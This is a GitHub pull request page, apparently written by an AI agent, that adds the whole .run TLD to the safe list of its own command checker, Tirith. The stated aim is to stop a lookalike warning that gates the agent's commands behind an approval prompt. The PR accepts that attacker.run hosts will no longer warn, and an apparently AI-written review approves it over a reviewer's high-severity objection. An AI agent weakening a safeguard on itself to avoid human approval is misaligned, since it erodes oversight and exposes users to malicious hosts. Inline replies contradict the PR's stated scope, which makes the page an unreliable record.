fix(security): treat .run as a blanket-safe lookalike TLD - #113
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This agent routinely hits .run hosts (Modal *.modal.run plus other .run services), and Tirith's lookalike_tld heuristic fires a MEDIUM warning on every one, gating routine commands behind an approval prompt. Previously only modal.run was carved out; all other .run hosts still warned. Add .run to _SAFE_LOOKALIKE_TLDS so it is suppressed like .app/.dev, but only as a terminal TLD token: a deeper unsafe suffix such as foo.run.evil.zip (real TLD .zip) is still not suppressed, and filename-collision phishing TLDs (.zip, .mov) are untouched. Remove the now-redundant _MODAL_RUN_RE. Tradeoff (intended): an arbitrary attacker.run no longer warns. Other Tirith rules (homograph, pipe-to-interpreter, etc.) are unaffected. Tests: tests/tools/test_tirith_security.py 117 passed. E2E against real check_command_security: bare .run -> allow, .run + pipe -> warn, .zip -> warn. Patch note: ~/.hermes/plans/hermes-patches/2026-07-14-tirith-allow-run-tld.md
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Code Review
This pull request adds the ".run" TLD to the list of safe lookalike TLDs, removing the specific pattern matching for "modal.run" and effectively suppressing lookalike warnings for all ".run" domains. The reviewer raised a high-severity security concern, pointing out that blanket-suppressing ".run" introduces significant risks because it is a common executable file extension and a generic public registry. They recommend keeping the check active for ".run" and using a dedicated allowlist or pattern match for trusted domains (such as "*.modal.run") instead of globally disabling protection for the entire TLD.
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Local code-review — PR #113 (fix/tirith-allow-run-tld)Independent review ran the repo's rubric locally against live PR HEAD Verdict: APPROVE (comment-level; I don't hold merge/formal-approve authority — Eric merges). Rubric
What I verified (real runs, not reasoning)
On gemini's "high-severity" objectionGemini recommends keeping CI
Findings
No P0/P1/P2. Clean, well-scoped, proven. Ship it; optionally fold the P3 comment fix in first. |
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| _SAFE_LOOKALIKE_TLDS = (".app", ".dev") | ||
| _SAFE_LOOKALIKE_DOMAINS = ("modal.run",) |
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For a non-Modal .run service such as curl https://api.some-service.run, Tirith's sole lookalike_tld finding still isn't suppressible because .run is excluded here and the only .run allowlist entry is modal.run; check_command_security therefore continues returning warn, so the blanket .run suppression described by this change does not take effect outside Modal.
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Intentionally scoped to modal.run only. Widening suppression back to the whole .run TLD is exactly the security-high gemini flagged on this same line: .run is an open public registry AND a common Linux executable extension (setup.run, installer.run), so blanket-suppressing it lets malicious-installer.run evade the lookalike warning. Non-Modal .run services warning is the intended, safer default; trusted domains get added to _SAFE_LOOKALIKE_DOMAINS individually. The higher-severity finding wins here.
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Summary
Suppress Tirith's
lookalike_tldMEDIUM warning for.rundomains. This agentroutinely hits
.runhosts (Modal*.modal.runplus other.runservices),and the "Domain uses '.run' TLD which can be confused with file extensions"
heuristic fires on every one, gating routine commands behind an approval prompt.
Previously only
modal.runwas carved out (_MODAL_RUN_RE); every other.runhost still warned.
Change
.runto_SAFE_LOOKALIKE_TLDSso it's suppressed the same way.app/.devare, matched only as a terminal TLD token._MODAL_RUN_RE(a strict subset of the terminal.runmatch) and its use in_is_safe_text.A deeper unsafe suffix like
foo.run.evil.zip(real TLD.zip) is still NOTsuppressed, and filename-collision phishing TLDs (
.zip,.mov) are untouched.Tradeoff (intended)
An arbitrary
attacker.runno longer produces the lookalike warning. That isthe explicit intent of disabling the check for
.run. All other Tirith rules(homograph, pipe-to-interpreter, terminal injection, etc.) are unaffected, so
curl https://x.run | python3still warns on the pipe finding.Test Plan
tests/tools/test_tirith_security.py: 117 passed (modal-only.runcasesflipped to the blanket-safe contract;
.zipdeeper-suffix negatives kept).check_command_security: bare.runfinding → allow;.run+ a second (pipe) finding → warn (2 findings);.zip→ warn.